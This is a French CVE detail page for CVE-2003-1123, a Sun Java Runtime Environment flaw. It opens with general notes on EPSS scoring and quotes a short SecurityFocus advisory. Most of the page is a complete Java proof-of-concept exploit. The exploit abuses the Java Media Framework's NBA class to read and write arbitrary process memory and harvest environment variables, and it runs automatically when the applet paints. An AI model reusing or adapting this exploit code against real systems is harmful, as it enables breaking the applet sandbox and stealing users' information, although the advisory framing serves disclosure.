CVE-2003-1123 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/7824/info It has been reported that the Sun Java Runtime Environment does not properly protect trusted java applets. Because of this, it may be possible for an attacker to use a malicious applet to gain access to sensitive information. /* Proof-Of-Concept: Read Environment via vulnerability Java Media Framework (2003) Marc Schoenefeld, www.illegalaccess.org */ import com.sun.media.NBA; import java.applet.Applet; import java.awt.Graphics; import javax.swing.JOptionPane; class NBAFactory { public static String getEnv(String a,long from, long to) { long pos = findMem(a,from,to); String ret = ""; if (pos != -1) { long pos2 = pos+a.length(); ret = getString(pos2); } return ret; } public static String getString(long pos) { int i = 0; StringBuffer b = new StringBuffer(); char x = 0; do { x = (char) readMem(pos+i); i++; if (x != 0) b.append(x); } while (!(x == 0)); return b.toString(); } public static long findMem(String a, long from , long to) { char[] ch = a.toCharArray(); for (long pos = from; pos < to ;pos++) { // System.out.println(pos-from+":"); int i = 0; int found = 0; for (i = 0; i < ch.length; i++) { char x = (char) readMem(pos+i); // System.out.println(pos+":"+x); if (x == ch[i]) { found ++; } else break; } if (found == ch.length) { return pos; } } return -1; } public static byte readMem(long i) { byte[] by = new byte[1]; NBA searcher = new NBA(byte[].class,1); long olddata = searcher.data; searcher.data = i; searcher.size = 1; searcher.copyTo(by); searcher.data = olddata; // keep the finalizer happy return by[0]; } public static void setMem(long i, char c) { NBA b = new NBA(byte[].class,1); long olddata = b.data; b.data = i; b.size = 1; theBytes[c].copyTo(b); b.data = olddata; // keep the finalizer happy } public static void setMem(long i, byte by) { setMem(i,(char) by); } public static void setMem(long i, int by) { setMem(i,(char) by); } public static void setMem(long l, String s) { char[] theChars = s.toCharArray(); NBA b = new NBA(byte[].class,1); long olddata = b.data; for (int i = 0 ; i < theChars.length; i++) { b.data = l+i; b.size = 1; theBytes[theChars[i]].copyTo(b); } b.data = olddata; // keep the finalizer happy } private NBAFactory() { } public static NBA getByte(char i) { return theBytes[i]; } public static NBA getByte(int i) { return theBytes[(char) i]; } public static NBA[] getBytes() { return theBytes; } static NBA[] theBytes = new NBA[256]; static { for (char i = 0; i < 256; i++) { // System.out.println((byte)i); NBA n = search(i,0x6D340000L, 0x6D46A000L); if (n!=null) theBytes[i]= n; else System.exit(-1); } } static NBA search (char theChar,long start, long end) { NBA ret = null; NBA searcher = new NBA(byte[].class,1); byte[] ba = new byte[1]; for (long i = start; i < end ; i++) { // byte b = readMem(i); searcher.data = i; searcher.copyTo(ba); // if ( b == (byte)theChar) { if ( ba[0] == (byte)theChar) { return searcher; } } return null; } } public class ReadEnv extends Applet{ static NBA base = new NBA(byte[].class,18); // what's the base pointer ? public static void crash(Object o) { System.out.println("Proof-Of-Concept: Read Environment via vulnerability Java Media Framework"); System.out.println("(2003) Marc Schoenefeld, www.illegalaccess.org"); NBA ret = new NBA(byte[].class,4); long oldret = ret.data; System.out.println("Base of data: "+Long.toString(base.data,16)); String[] envs = {"USERDOMAIN","USERNAME","USERPROFILE","CLASSPATH", "TEMP","COMSPEC","JAVA_HOME","Path","INCLUDE"}; for (int i = 0; i < envs.length; i++) { String val = NBAFactory.getEnv(envs[i],base.data,base.data+32768); if (!(o instanceof Applet)) { System.out.println(envs[i]+":"+val); } else { javax.swing.JOptionPane.showMessageDialog((java.applet.Applet) o,envs[i]+":"+val); } } //NBAFactory.setMem(pos+10,'A'); try { System.out.println(System.getProperty("java.class.path")); java.util.Properties p = System.getProperties(); p.list(System.out); } catch (java.security.AccessControlException e) { System.out.println("Cannot read environment via getProperties:"+e); } //System.out.println(pos); //long pos2 = NBAFactory.findMem("mixed",base.data,base.data+6614096); //System.out.println(pos2); //byte[] x11 = new byte[8]; //ret.copyTo(x11); //for (int i = 0; i < x11.length; i++) { // System.out.println(i+":"+x11[i]+(char)x11[i]); //} ret.data = oldret; //ret.data = 0xffff8000; //ret.finalize(); //ret.finalize(); //NBAFactory.setMem(ret.data-0xffff8000,33); //ret.finalize(); /*b.data = base.data; b.size = 16384;*/ /*byte[] ba3 = new byte[16384]; b.copyTo(ba3); for (int i = 0; i < ba3.length; i++) { System.out.println(new Integer(i).toString(i,16)+":"+ba3[i]+(char)ba3[i]); }*/ /*b.data = olddata;*/ } public static void main(String[] a) { crash(null); } public void paint(Graphics g) { if (init == 0) { init=1; crash(this); } } static int init = 0; }